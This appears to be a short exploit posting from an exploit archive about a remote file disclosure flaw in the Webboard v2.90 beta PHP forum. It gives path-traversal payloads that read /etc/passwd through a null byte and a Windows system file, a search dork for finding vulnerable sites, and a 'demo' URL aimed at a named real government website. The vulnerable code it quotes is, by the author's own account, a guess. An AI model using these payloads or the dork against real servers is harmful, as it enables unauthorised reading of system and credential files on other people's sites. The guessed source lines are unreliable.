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Webboard <= v.2.90 beta Remote File Disclosure Vulnerability
[============================================================
Webboard <= v.2.90 beta Remote File Disclosure Vulnerability
============================================================
Webboard <= v.2.90 beta Remote File Disclosure Vulnerability
=============================================================
Author: MrDoug
Greetz to all my friends
=============================================================
There are 3 vulnerable calls to fopen() in "/webboard/view.php"
They are on lines 7, 109 and 113. I have not actually read the
source but based on tests I would GUESS they look something
like this...
7: fopen('title/' . $_GET['topic'] . '.txt');
...
109: fopen('counter/read/' . $_GET['topic'] . '.txt');
...
113: fopen('counter/read/' . $_GET['topic'] . '.txt');
IMPORTANT:
Due to the trailing ".txt", retrieving files with different
extensions will be difficult unless you are able to get a
null byte through without it being escaped.
=============================================================
Example 1: /webboard/view.php?topic=../../../../../../etc/passwd%00
Example 2: /webboard/view.php?topic=../../../../../../WINDOWS/system32/eula
Dork: inurl:"webboard/view.php?topic="
Demo: http://korat.nfe.go.th/ksn00/webboard/view.php?topic=../../../../../../WINDOWS/system32/eula
# 0day.today [2024-10-06] #